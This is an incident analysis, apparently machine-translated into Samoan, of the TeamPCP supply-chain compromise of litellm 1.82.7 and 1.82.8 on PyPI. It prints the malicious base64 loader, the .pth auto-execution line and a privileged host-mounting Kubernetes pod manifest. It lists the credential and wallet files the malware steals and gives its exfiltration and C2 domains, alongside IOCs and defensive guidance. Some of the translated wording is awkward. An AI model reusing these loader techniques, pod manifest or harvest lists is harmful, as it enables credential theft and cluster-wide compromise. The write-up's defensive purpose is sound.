Aisea e Taua ai lenei Mea
I le aso 24 o Mati, 2026, o le afifi lauiloa o le Python litellm, o se faitoto'a sui LLM lautele e fa'aaogaina e le faitau afe o enterprises e fa'atautaia ai fefa'ataua'iga i le va o talosaga ma kamupani tu'uina atu AI e pei o le OpenAI, Anthropic, Google, ma le AWS Bedrock, na fa'aleagaina faalilolilo i luga o le PyPI. E lua lomiga fa'aleagaina (1.82.7 ma le 1.82.8) na lolomiina i totonu o le 13 minute le va, ma o lo'o tauaveina ai se uta e tele-vaega na gaoia ai fa'amaoniga, fa'ate'aina mea lilo o le ao, salalau atu i autafa i totonu o vaega o Kubernetes, ma fa'apipi'i ai se backdoor tumau ma gafatia fa'atino tulafono mamao.
Ma le tusa 3.6 miliona faila e sii mai i aso taitasi ma le faʻatinoina loloto i totonu o atinaʻe faʻapitoa o le AI i le ao, o loʻo i ai le litellm i le fetaulaiga o mea uma e manaʻo i ai tagata osofaʻi faʻaonaponei: ki API mo kamupani tetele uma o loʻo tuʻuina atu le AI, faʻamaoniga o le IAM i le ao, mea lilo a Kubernetes, ma ki SSH.
Peitaʻi, o le maliliega faaletulafono e leʻi na o se mea na tupu faʻatasi. O le tumutumuga lea o se tauvaga e lima aso, e lima siosiomaga e se tagata fai faamataʻu e taʻua o TeamPCP, o se tauvaga na muamua faʻaleagaina ai masini suʻesuʻe saogalemu (Aqua Trivy, Checkmarx KICS), ona faʻaaogaina lea o mea na gaoia CI/CD fa'amaoniga e fa'asolosolo malie atu i le npm, OpenVSX, ma mulimuli ane PyPI. Na fa'aaogaina e le au osofa'i ia meafaigaluega tonu lava e fa'alagolago i ai fa'alapotopotoga e puipuia ai a latou sapalai.
O lenei osofaʻiga o loʻo faʻatusalia ai se suiga laʻasaga i le faigata o le faʻamataʻu o le sapalai. O le mamanu e tele-hop, cross-system, ma faʻaleagaina ai meafaigaluega saogalemu e oʻo atu ai i le taua tele Atina'e fa'atekonolosi fa'a-AI, O lo'o atagia mai ai le tulaga o le fuafuaina ma le matua o le fa'agaioiga e ogatasi ma le fa'ateleina o le fa'aaogaina o meafaigaluega fa'atau mo osofa'iga. O uta na toe fa'afouina i le taimi moni (e tolu ituaiga o uta o lo'o aliali mai i le code puna, e aofia ai lomiga muamua na fa'amatalaina), o le atina'e C2 na resitalaina i le aso a'o le'i faia le osofa'iga, ma o vaega o le exfiltration na filifilia ma le fa'aeteete e fa'ata'ita'i ai le atina'e fa'atau oloa fa'atulafonoina. O le fa'amaumauga fa'amaonia atoatoa, e aofia ai vaega e 15+ e aofia ai sini fa'apitoa e pei o ki sainia a Cardano ma fa'atulagaga WireGuard, e fa'ailoa mai ai se tulaga o le fa'atinoina mae'ae'a e fa'asino atu i le atina'eina o polokalama fa'aleaga e fesoasoani i le AI o se fa'ateleina malosi.
taimi faatulagaina
| Aso (UTC) | mea na Tutupu |
|---|---|
| Mati 19 | Ua fa'aleagaina e le TeamPCP ia Aqua Trivy GitHub Action tags, ma suia i ni code leaga e fa'a'ese'ese mai fafo. CI/CD mealilo mai fale teuoloa i lalo |
| Mati 21 | Ua fa'alautele atu le fa'aletonu i le Checkmarx KICS ma le AST GitHub Actions e fa'aaoga ai ni metotia fa'apena |
| 22 Mati, 06:35 | BerriAI fa'asalalau litellm 1.82.6 (fa'asologa mama mulimuli) e ala i masani CI/CD pipeline e fa'aaogaina le Trivy mo le su'esu'eina o le saogalemu |
| Mati 23 | E resitalaina e le TeamPCP le models.litellm.cloud (exfiltration domain). E ono lamatia ai le silia ma le 66 npm packages ma OpenVSX extensions. |
| 24 Mati, 10:39 | litellm 1.82.7 ua lolomiina i le PyPI -- ua tuiina le uta i totonu proxy_server.py i le lautele o le module. Fa'atino i le taimi e fa'aulufale mai ai |
| 24 Mati, 10:52 | litellm 1.82.8 lomia i le 13 minute mulimuli ane -- fa'aopoopo litellm_init.pth, o se fa'amau fa'atulagaina o le ala Python e fa'atinoina i luga o fa'aliliu upu uma a le Python, e le na'o le litellm imports. E fa'aalia ai le vave o le fa'agasologa o uta |
| Mati 24, ~16:00 | E aveese e le PyPI lomiga uma e lua pe a uma ona lipotia mai e le nu'u. E tape atoa lomiga (ae le'i aveeseina) mai le fa'asinomaga, e ui lava e mafai ona maua pea tarballs CDN. |
Vaitaimi e faʻaalia ai: pe tusa ma le 5.5 itula. I le taimi lea, so'o se pip install litellm, pip install --upgrade litellm, pe CI/CD pipeline o le tosoina o le lomiga aupito lata mai semanu e faʻatinoina ai le uta.
Le Auala na Ulufale Mai ai le Malware: O le Fa'alavelave Fa'asolosolo
E le'i solia sa'o le afifi litellm. Na maua e le tagata osofa'i e ala i se osofa'iga o le filifili sapalai e lua-hop:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM's CI/CD pipeline na faʻaaogaina Trivy e fai ma masini suʻesuʻe saogalemu — o le meafaigaluega tonu lava lea na mamanuina e puʻe ai vaivaiga o ia lava lea o le auala e osofaʻia ai. Aua o le pipeline Trivy fa'asino i ai e ala i le mutable tag nai lo le pine commit SHA, na otometi lava ona fa'agaoioia le gaioiga ua fa'aleagaina. O le gaioiga leaga a Trivy na fa'a'esea ai mea lilo o le siosiomaga, e aofia ai le PYPI_PUBLISH fa'ailoga, e maua ai e le TeamPCP le avanoa tuusa'o e lolomi ai i le galuega faatino a le litellm PyPI.
O lenei fuafuaga "fa'amalieina leoleo" o se fa'ailoga iloga lea o le tauvaga a le TeamPCP. I le fa'atatauina muamua o meafaigaluega saogalemu (Trivy, Checkmarx KICS), na fa'agata ai e le au osofa'i le iloa ma maua ai le avanoa fa'apitoa i filifili sapalai i lalo ifo.
Su'esu'ega Fa'atekinolosi: O le Avega
Itu'i tui
Version 1.82.7 — Fa'atinoina o le tulaga o le module i totonu litellm/proxy/proxy_server.py (laina 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) O lenei code e tu i le va o le module scope i le va o le literal dictionary ma le original. showwarning() galuega faatino. E faatino loa pe a litellm.proxy.proxy_server ua aumaia — lea e tupu i soʻo se faʻaaogaina o le galuega faatino a le litellm.
Version 1.82.8 — Faaopoopo litellm_init.pth (Faila fa'atulagaina o le ala Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Python .pth faila i totonu site-packages/ e fa'agasolo i taimi uma e amata ai le fa'aliliuupu, ae na'o laina e amata i le import e fa'atinoina o se code. E fa'aaogaina e le tagata osofa'i lenei mea e ala i le fa'apipi'iina o le uta atoa i luga o le tasi import faʻamatalaga: import os, subprocess, sys; subprocess.Popen(...). E sili atu le malosi o lenei mea nai lo le tui o le proxy_server.py — e fa'agaoioia tusa lava pe le'i fa'aulufaleina mai le litellm, i taimi uma e fa'alauiloa ai le fa'agasologa o le Python. pyproject.toml na suia ina ia aofia ai lenei faila i le tufatufaina atu:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] O lea la ua i ai i le Lomiga 1.82.8 auala fa'atino tuto'atasi e lua: o le tui o le proxy_server.py (e fa'agaoioi i le litellm proxy import) ma le faila .pth (e fa'agaoioi i so'o se Python startup). O le toe fa'aopoopoina e iloga lava - e puipuia ai mai le iloa po'o le ave'esea o so'o se tasi o auala na'o ia. O le fa'ateleina mai le taimi e fa'aulufale mai ai i le fa'atinoina o le taimi e amata ai i le na'o le 13 minute talu ona mae'a le 1.82.7 o lo'o fa'ailoa mai ai o lo'o mata'ituina e le tagata osofa'i le manuia o le fa'atinoina ma vave ona toe faia.
Vaega 1: Fa'amaumauga Atoatoa o Fa'amaoniga
O le tusitusiga i totonu ua fa'aliliuina o se fa'atagaga fa'apitoa e leai se fa'amaoniga. E fa'aaogaina os.walk(), glob.glob(), subprocess.check_output(), ma faitau tuusaʻo faila e faʻasalalau ai le polokalama atoa:
| katekoli | manulauti |
|---|---|
| Toe iloiloga o le polokalama | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; ki talimalo mai /etc/ssh/ |
| Ao (AWS) | ~/.aws/credentials, ~/.aws/config; Fa'amaoniga o matafaioi a le IMDS e ala i 169.254.169.254Pule o Mea Faalilolilo ListSecretsSSM DescribeParameters |
| Ao (GCP) | ~/.config/gcloud/ (toe fai); $GOOGLE_APPLICATION_CREDENTIALS |
| Ao (Azure) | ~/.azure/ (toe fai); fesuia'iga o le siosiomaga |
| Kubernetes | Fa'ailoga o le teugatupe tautua; ca.crt; avanoa igoa; kubectl get secrets --all-namespaces; mea lilo uma e ala i le K8s API |
| Faila o le siosiomaga | .env, .env.local, .env.production, .env.development, .env.staging — su'esu'eina fa'asolosolo (loloto 6) i le isi itu /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| Fa'ailoga afifi | ~/.npmrc, ~/.vault-token, ~/.netrc |
| utufaamatalaga faaeletonika | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, fa'atulagaga o le MongoDB |
| TLS / SSL | Ki tumaoti mai /etc/ssl/private/, Se'i o tatou fa'ailogaina tusi fa'amaonia, uma .pem/.key/.p12/.pfx faila |
| Git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Crypto atotupe | Bitcoin, Ethereum keystore, Solana keypairs (validator, palota, stake, faucet), Cardano signing keys, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Talafa'asolopito o le atigi | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Fa'amaoniga o le polokalama | /etc/passwd, /etc/shadow, fa'amaumauga fa'amaonia (sauniga SSH taliaina) |
| Ki o le Webhook/API | Grep mo le upega tafaʻilagi Slackhooks, Upega tafaʻilagi a le Discordhooks, ki/mea lilo API i faila fa'atulagaina |
| VPN | Fa'atulagaga a le WireGuard mai /etc/wireguard/ |
E lautele le lautele o lenei masini selesele. E le gata ina faʻatatau i faʻamaoniga o le ao ae faʻapea foʻi i atotupe cryptocurrency, upu faʻalilolilo o faʻamaumauga, faʻatulagaga VPN, ma CI/CD mea lilo — o loʻo faʻaalia ai o loʻo fuafua le tagata osofaʻi e faʻatupeina polokalama ua faʻaleagaina i le tele o auala.
Laasaga 2: Fa'ailoga Fa'ailoga
O faʻamatalaga gaoia e faʻailogaina ma aveese faʻamatalaga e faʻaaoga ai se faiga faʻailoga faʻafefiloi:
- AES-256-CBC fa'ailoga o fa'amaumauga uma na aoina i se ki fa'afuase'i o le sauniga e 32-byte (e ala i le
openssl enc) - RSA-4096 fa'ailogaina o le ki o le sauniga e fa'aaoga ai le ki lautele ua fa'apipi'iina a le tagata osofa'i (OAEP padding, e ala i
openssl pkeyutl) - O faila ciphertext uma e lua ua fa'apipi'iina e pei o
tpcp.tar.gz(o letpcp(prefix — “TeamPCP” — e aliali mai pea lava pea i le tauvaga atoa) - HTTPS POST i le
https://models.litellm.cloud/iContent-Type: application/octet-stream
Le vaega models.litellm.cloud na resitalaina ia Mati 23 — tasi le aso a'o le'i o'o i le osofa'iga — ma ua mamanuina e fa'afefiloi ma atina'e fa'aletulafono fa'aletulafono (o le galuega moni e fa'aaogaina litellm.ai). E oʻo lava i se tagata puipuia e iloa lelei fesoʻotaʻiga o loʻo iloiloina le feoaʻiga i fafo atonu e le faʻailoaina le feoaʻiga i le mea e foliga mai o le faʻaiʻuga faʻataʻitaʻiga a litellm lava ia.
Vaega 3: Fa'aauau pea o le Backdoor (sysmon.py)
E fa'apipi'i e le uta se faitoto'a palota e pei o se telemetry o le polokalama:
- Ala:
~/.config/sysmon/sysmon.py - tautua:
sysmon.service(iunite fa'aoga fa'atulagaina, ua fa'amatalaina o le "System Telemetry Service") - Amioga: A maeʻa se moe muamua e 300 sekone, palota
https://checkmarx.zone/rawi minute taitasi ~50 - faatinoga: La'uina mai le URL na toe faafoi mai e le C2 i
/tmp/pglog, setiina e mafai ona faʻatinoina (chmod 755), fa'atinoina i se sauniga tu'ueseese - Siakiina o le tulaga:
/tmp/.pg_statetaofia ai le toe la'uina mai o le uta lava e tasi - Tumau:
Restart=always,RestartSec=10— e sao mai fa'alavelave ma toe amata
Le vaega checkmarx.zone o se fa'aliliuga sese lea o le Checkmarx (le kamupani saogalemu i checkmarx.com), ua mamanuina ina ia mafai e le au su'esu'e SOC o lo'o iloiloina fa'amaumauga o feso'ota'iga ona va'ai i feoa'iga i mea e foliga mai o se fa'atau oloa saogalemu fa'atulafonoina. O se metotia fa'amoemoeina lea e aloese ai e ogatasi ma le fuafuaga lautele a le TeamPCP o le lafi i tua o le fa'ailogaina o le fa'atau oloa saogalemu.
Vaega 3b: Gaioiga Fa'ata'amilomilo a Kubernetes
Afai o loʻo iai i le polokalama ua faʻaleagaina faʻamaoniga o le teugatupe tautua Kubernetes, o le a faʻamaumauina e le malware ia cluster nodes uma ma faʻapipiʻi pods fa'apitoa i tagata taʻitoʻatasi:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Pod taʻitasi:
- Tamo'e e pei o avanoa i
hostPID,hostNetwork, ma le avanoa atoa i le polokalama faila a le 'au talimalo - faaaogaina
chroot /hoste faʻapipiʻi tutusasysmon.pyfaitoto'a i tua i luga o le faila o le a'a a le 'au talimalo - Resitalaina o se tautua systemd, ma ia mautinoa o le tumau e sao mai le tapeina o pod
- Igoa
node-setup-*i lekube-systemnamespace e foliga mai o se atina'e fa'atulafonoina o le cluster
O lona uiga a tasi ua faaleagaina CI/CD O le tagata tamoe e iai le avanoa K8s e ono iʻu ai i le faʻalavelaveina o node uma i le cluster — o se faʻataʻitaʻiga mataʻutia o le gaioiga faʻasolosolo mo faʻalapotopotoga o loʻo faʻaaogaina le litellm e fai ma sui i Kubernetes.
Atina'eina o le Payload (Fesuiaiga ua Fa'amatalaina)
O le code source i laina 131-132 o loʻo i ai ni suiga se lua o le payload na faʻamatalaina muamua, o loʻo faʻaalia ai le faagasologa o le atinaʻeina o le tagata osofaʻi:
- O ituaiga uma e tolu fa'asoa le fausaga tutusa o le fa'amamāina o otaota (
models.litellm.cloud), ki lautele RSA-4096, afifi fa'ailoga fa'afefiloi AES-256-CBC + RSA, matpcp.tar.gzfaaigoaina o le afifi - Fa'asologa muamua fa'aopoopoina se Vaega fa'ailoga RC4 i totonu o le tusitusiga aoina fa'amaumauga, fa'ailogaina fa'amaumauga ua seleseleina a'o le'i o'o i le afifi pito i fafo o le AES+RSA. O le uta galue (laina 130) ua fa'afaigofieina e ala i le aveeseina o lenei vaega i totonu o le RC4
- O fa'ata'ita'iga muamua na fa'aaogaina
exec()iStringIOpu'e e fa'agaoioi ai le aoina o lo'o fa'agasolo, a'o fa'aogaina e le uta galuesubprocess.run()fa'atasi ai ma le stdout redirect - o se vavae'esega mama e 'alofia ai le fa'aleagaina o le fa'agasologa o le 'au talimalo - O ituaiga uma e tolu e fa'atatau i vaega tutusa o fa'amaoniga ma auala e aoina ai
- O le ki RC4 i faʻaliliuga muamua o se faʻalumaina faʻaosofia, e ogatasi ma le amioga a le tagata fai ata tifaga e sailia le gauai i luga o le Telegram.
O lenei mea ua faaalia ai le atinaʻeina o le atinaʻe i le taimi o le faʻagaioiga. Na faʻafaigofieina e le tagata osofaʻi le faʻaputuga faʻailoga ma faʻaleleia atili le vavaeʻeseina o le faʻatinoga aʻo faʻatumauina pea le mautu o sini o le aoina ma le atinaʻe o le exfiltration.
Fa'ailoga o le Fete'ena'iga (IOCs)
Network
| Faailoilo | ituaiga | faʻamoemoe |
|---|---|---|
models.litellm.cloud | Domain | Fa'ai'uga fa'amuta (HTTPS POST) |
checkmarx.zone | Domain | Fa'ai'uga o le palota C2 (HTTPS GET /raw) |
Fa'amatalaga: So'otaga i lipoti mai fafo checkmarx.zone/static/checkmarx-util-1.0.4.tgz i le vaega muamua o le KICS o le tauvaga a le TeamPCP. E le'i maua lenei URL i uta litellm na iloiloina iinei.
Afifi Hashes
| faila | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Faiga o Faigaluega
| Faailoilo | ituaiga | faʻamoemoe |
|---|---|---|
~/.config/sysmon/sysmon.py | faila | Tusitusiga faifai pea o le backdoor |
~/.config/systemd/user/sysmon.service | faila | Iunite fa'aauauina fa'atulagaina |
/tmp/pglog | faila | Ua sii mai le binary vaega lona lua |
/tmp/.pg_state | faila | Siakiina o le tulaga C2 |
litellm_init.pth in site-packages/ | faila | Fa'aoga amata Python (v1.82.8 lava) |
tpcp.tar.gz | faila | Afifi fa'a'ese'ese fa'ailoga fa'alilolilo |
Kubernetes
| Faailoilo | ituaiga | faʻamoemoe |
|---|---|---|
node-setup-* pods i totonu kube-system | Vae | Potu fa'apitoa mo le gaioiga i autafa |
sysmon.service i luga o nodes cluster | tautua | Fa'aauau pea le tulaga talimalo e ala i le pod escape |
Faʻafanua
| Faailoilo | auiliiliga |
|---|---|
| Ki lautele a le tagata osofa'i RSA-4096 | Fa'ailoga tamatamailima SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. Fa'apipi'iina i totonu o suiga uma e tolu o le uta; o le ki lava e tasi na lipotia i isi galuega a le TeamPCP. |
tpcp upu fa'aopoopo i mea taulima | Faiga fa'aigoaina o afifi (tpcp.tar.gz) e tutusa i le tauvaga atoa |
Fa'asinomaga: TeamPCP
O le tagata taufaamataʻu i tua atu o lenei tauvaga ua mataʻituina e pei o TeamPCP, e ta'ua fo'i o PCPcat, Persy_PCP, ShellForce, ma le DeadCatx3.
Uiga ua iloa:
- Tausia auala Telegram i
@Persy_PCPma@teampcplea na latou tauemu ai i kamupani saogalemu - Fa'agaoioia i le tele o si'osi'omaga (GitHub Actions, PyPI, npm, OpenVSX)
- Fa'aaogā vaega typosquat fa'apitoa a le fa'atau'oloa mo vaega ta'itasi o le tauvaga (e pei o le,
checkmarx.zonemo Checkmarx,models.litellm.cloudmo le litellm) - Fa'ailoga tutusa o atina'e: tutusa le pea o ki RSA,
tpcp.tar.gzfeagaiga o le faaigoaina,tpcp-docs-*O lo'o fa'aaogaina nofoaga teu oloa a le GitHub e fai ma fa'atulagaga e le toe fa'aaogaina - Fa'atatau i meafaigaluega saogalemu e fai ma auala e ulufale atu ai i filifili sapalai i lalo ifo
Talitonuga i le fa'asinomagaMaualuga. O le ki lautele a le RSA ua fa'asoa, tpcp O le faaigoaina o mea totino, le felagolagomaʻi o atinaʻe C2, ma le saoasaoa o le faʻagaioiga i le tauvaga e lima aso e fesoʻotaʻi vavalalata ai le Trivy, KICS, npm, OpenVSX, ma le litellm i le tagata fai mea lava e tasi.
Motugaafa: Atonu o le itu tau tupe (gaoi o le atotupe crypto, fa'atupeina o fa'amaoniga o le ao) fa'atasi ai ma le lauiloa (fa'atauemu i le Telegram). O le lautele o le seleseleina o fa'amaoniga - mai le AWS IAM i le Solana validator keypairs i le WireGuard configs - o lo'o fa'ailoa mai ai se tagata fai pisinisi e naunau i tupe o lo'o sailia le fa'ateleina o le ROI mai fa'alavelave ta'itasi.
Fesoasoani fa'a-AI e ono mafaiO le fa'amaumauga o fa'amaoniga e atoatoa lelei — e silia ma le 15 vaega e aofia ai ni fa'amoemoega fa'apitoa e pei o ki sainia a Cardano, fa'atulagaga o WireGuard, ma fa'amaoniga a Kaniko Docker — i se auala e ogatasi ma le fa'amaumauga fesoasoani a le AI. O le saoasaoa o le fa'agasologa o uta (tolu ituaiga eseese ma ni fuafuaga fa'ailoga eseese), fa'amaopoopoina o si'osi'omaga i le va o si'osi'omaga (5 si'osi'omaga i le 5 aso), ma le fa'agaioiga o le OPSEC (vaega e fa'ata'ita'i i le fa'atau oloa, fa'ailoga fa'afefiloi, fa'atumauina o le systemd e pei o le telemetry) e fautua mai ai se tulaga o le gaosiga e ono atagia ai le atina'e fesoasoani a le AI o se fa'atelega malosi. O lenei iloiloga e taumatemate; e mafai e tagata fa'agaioia tomai ona ausia se lautele tutusa e aunoa ma meafaigaluega a le AI.
TTP Fou ma Metotia
1. Fa'aleagaina o le Sapalai o Meafaigaluega Saogalemu (T1195.002 variant)
O le fa'aleagaina o masini su'esu'e saogalemu (Trivy, KICS) o se fa'alavelave fou lea e fa'atino ai le fa'atinoina o sini i lalo ifo o se fa'alavelave fou. E le gata ina fa'aleagaina e le tagata osofa'i se faletusi - ae na latou fa'aleagaina fo'i meafaigaluega e fa'aaogaina e fa'alapotopotoga e fa'atino ai. maua faletusi ua fa'aleagaina. O lenei mea e mafua ai se vaega e le o iloa: o le scanner e tatau ona pu'eina le code leaga o ia lava lea o le auala e tu'uina atu ai.
2. Python .pth Fa'aauauina o Faila (T1546)
le litellm_init.pth e matuā fa'alilolilo lava le metotia i le v1.82.8. Python .pth faila i totonu site-packages/ e fa'agasolo i taimi uma e amata ai le fa'aliliuupu; so'o se laina e amata i le import e fa'atinoina o se tulafono. I le fa'apipi'iina o le uta i luga o le tasi import fa'amatalaga, e fa'atinoina e le tagata osofa'i le fa'atinoga i faiga uma a Python - e le gata i le taimi e fa'aulufale mai ai le litellm. O lona uiga e fa'agaoioia le uta e tusa lava pe fa'apipi'i le litellm ae le fa'aaogaina, ma e sao mai le toe fa'aleleia e sui ai le fa'aletonu ua fa'aleagaina .py faila e aunoa ma le siakiina .pth faila.
3. Kubernetes Cluster-Wide Lateral Movement e ala i le Privileged Pod Deployment (T1610, T1611)
O le fatuina otometi o pods fa'apitoa i luga o node cluster uma — fa'atasi ai ma hostPID, hostNetwork, fa'apipi'iina o le faila o le 'au talimalo, ma chroot e faʻapipiʻi le persistence — filifili le faʻapipiʻiina o le koneteina (T1610) faʻatasi ai ma le sola ese i le 'au talimalo (T1611) e liua ai se galuega e tasi ua faʻaleagaina i se faʻaletonu atoa o le cluster.
4. Fa'atau'oloa e Fa'ata'ita'i i le C2 Infrastructure
faaaogaina models.litellm.cloud (fa'ata'ita'i litellm) ma checkmarx.zone (e fa'ata'ita'i i le Checkmarx) e pei ona mamanuina ai le C2/exfil endpoints e 'alo 'ese ai mai le mata'ituina o feso'ota'iga. O le a va'aia e le au su'esu'e SOC o lo'o iloiloina le feoa'iga i fafo ni feso'ota'iga HTTPS i mea e foliga mai o 'upega tafa'ilagi fa'atau oloa fa'atulafonoina.
5. Fa'agasologa vave o le uta i totonu o le va'alele
O le lolomiina o le v1.82.7 ma le fa'atinoina o le taimi e aumai ai, ona sosoo ai lea ma le v1.82.8 ma le fa'atinoina o le taimi e amata ai i le 13 minute mulimuli ane, e fa'aalia ai le mata'ituina ma le fetu'una'i e le tagata osofa'i i le taimi moni. O fesuiaiga o uta ua fa'amatalaina (fa'atasi ai ma faiga fa'ailoga eseese) ua teuina i le code puna e fa'amaonia ai le atina'e malosi i le taimi o le fa'agaioiga.
O le a le mea e mafai ona fai
O lenei osofaʻiga e faʻaaogaina le faʻatuatuaga i vaega taʻitasi: faʻatuatuaga i meafaigaluega saogalemu, faʻatuatuaga i resitala afifi, faʻatuatuaga i vaega e foliga masani ai, faʻatuatuaga i CI/CD otometi. O le puipuia mai ai e manaʻomia ai le faʻamaʻaʻaina o nei tuaoi faʻatuatuaga taʻitasi:
Mo Tagata Fa'atau Afifi
- Fa'apipi'i fa'alagolago i pine e ala i le hash, ae le na'o le version.
pip install litellm==1.82.6 --hash=sha256:...semanu e taofia ai lomiga ua faaleagaina mai le faapipiiina e tusa lava pe na aliali mai puupuu o le lomiga aupito lata mai. - Faaaoga faila loka.
pip-compile,poetry.lock, mauv.lockpu'eina fa'aliliuga sa'o ma hashes. CI/CD e tatau ona faʻapipiʻi mai faila loka, ae le o mai faʻamatalaga faʻapitoa o lomiga o loʻo fetolofi. - Mataitu mo
.pthfaila. Su'etusi e le aunoasite-packages/mo le fa'afuase'i.pthfaila — latou te faʻatinoina i luga o amataga uma o Python ma o se faiga faʻaauau e le o talisapaia. - Fa'atino ni pulega o feso'ota'iga e alu ese ai. O le fa'amamāina i fafo i
models.litellm.cloudma le palota a le C2 icheckmarx.zonesemanu e mafai ona maua e ala i le fa'amama ese mai le lisi fa'atagaina i totonu o siosiomaga gaosiga.
Mo Tagata Tausi Afifi
- pine CI/CD gaioiga e commit SHA, ae le o le pine. LiteLLM's pipeline na fa'aaoga le Trivy e aunoa ma se fa'amauina. Afai na fa'asino i ai
aquasecurity/trivy-action@<commit-sha>nai lo le@latest, semanu e le faatinoina le gaioiga ua faia i se auala ua faaleagaina. - Faaaoga fa'ailoga lolomi e le tumau ma e iai ni fa'ailoga fa'apitoa. E lagolagoina e le PyPI le Trusted Publishers (faʻavae i le OIDC) ma le scoped API tokens. O le exfiltrated
PYPI_PUBLISHE le tatau ona umi se taimi e mafai ai ona lolomiina le fa'ailoga ma e le fa'atapula'aina. - Fa'agaoioia le fa'amaoniga e lua-vaega i le PyPI. Manaʻomia le 2FA mo i latou uma e tausia ma faʻaaoga ki saogalemu o masini komepiuta pe a mafai.
- Afifi fa'ailoga. O fa'amaoniga a le Sigstore/PEP 740 e mafai ai e tagata fa'atau ona fa'amaonia na fausia se afifi e le mea na fa'amoemoeina. CI/CD pipeline, ae le o se tagata osofa'i ma se fa'ailoga na gaoia.
Mo Tagata Fa'agaoioia o le Platform (PyPI, npm, GitHub)
- Iloa ni mamanu e le masani ai o le lolomiina. E lua lomiga fou e lolomiina i le va o le 13 minute, mai se IP po'o se token ese mai le masani, e tatau ona fa'agaoioia ai le taofi mo le iloiloga po'o le su'esu'ega otometi a'o le'i mafai ona fa'apipi'iina le afifi.
- Fa'avavevave le taliaina o le Trusted Publishers. O lomitusi faʻavae a le OIDC e fesoʻotaʻi afifi i fale teu oloa ma faiga faʻatino patino, ma faʻaogaina ai faʻailoga gaoia e le aoga i tua atu o le uluai kopi. CI/CD anotusi
- Fa'atino le su'esu'ega o polokalama fa'aleagaina i le taimi e fa'asalalau ai. O le payload ua fa'aliliuina i le base64 i le proxy_server.py o le a mafai ona iloa e ala i le su'esu'ega tumau i le taimi e lolomiina ai.
Mo le Siosiomaga
- Taulima meafaigaluega tau le saogalemu o ni mea taua. E fa'aaogaina e le faitau miliona o tagata le Trivy ma le Checkmarx KICS. pipelines. E tatau ona sainia, fa'amauina, ma mata'ituina a latou GitHub Actions i le tutusa lelei ma afifi latou te su'esu'eina.
- Fa'afaigaluega i le iloa o le taimi e fa'agaoioi ai. E le mafai e le au'ili'iliga tumau ona pu'eina uma metotia fa'alilolilo. Mata'ituina taimi fa'atino o le fa'apipi'iina o le afifi hooks, fesoʻotaʻiga fesoʻotaʻiga e leʻi faʻamoemoeina, ma mamanu masalomia o le ulufale atu i faila e maua ai le puipuiga loloto.
- Faasoa atu faʻamatalaga taufaamataʻu i se taimi vave. E mafai ona pu'upu'u le vaitaimi e 5.5 itula mo le fa'aalia o le litellm pe ana vave le feso'ota'iga a le 'au fa'atau oloa. Na iloa e auaunaga su'esu'ega otometi e pei o le Xygeni MEW, Socket, ma Snyk le mea sese — o le fa'alavelave o le fa'amaoniga a tagata ma le taimi e tali atu ai le resitala.
iʻuga
O le tauvaga a le TeamPCP o se taimi tāua tele mo software supply chain security. I le fa'aleagaina muamua o masini su'esu'e saogalemu ma fa'aaogaina o ni la'asaga i atina'e taua o le AI, na fa'aalia ai e le au osofa'i e fa'apea o le sapalai e na'o le malosi e pei o lona fa'alagolago vaivai, ma o lena fa'alagolago atonu o le meafaigaluega saogalemu e te fa'atuatuaina e puipui ai oe.
O le maliega a le litellm e faʻamamafa faapitoa ai le lamatiaga o loʻo faʻatupulaʻia i atinaʻe o le AI. A o avea le LLM proxy gateways ma standard mamanu mo enterprise I le faʻaaogaina o le AI, latou te faʻapipiʻi le avanoa i ki API, faʻamaoniga o le ao, ma faʻamatalaga taua i totonu o le vaega e tasi. O le faʻaleagaina o lena vaega o se ki autu lea i le faʻaputuga atoa o le AI.
O faʻalapotopotoga na faʻapipiʻi le litellm 1.82.7 poʻo le 1.82.8 i le taimi o le 5.5 itula e tatau ona vaʻaia lenei mea o se faʻaletonu atoa o tusipasi: faʻafesuiaʻi mea lilo uma i luga o polokalama ua aʻafia, siaki vaega o Kubernetes mo node-setup-* pods i totonu kube-system, aveese so'o se mea sysmon.service iunite fa'atulagaina, ma siaki mo litellm_init.pth i le Python site-packages/ fa'asinomaga. Tagata fa'aoga o le ata aloaia a le Docker (ghcr.io/berriai/litellm) e le'i a'afia, aua na fa'amau e le ata ona fa'alagolago ma e le'i toe fausia i le taimi o le fa'aaliga.
E tusa o le Tusitala
Co-Fa'avae & CTO
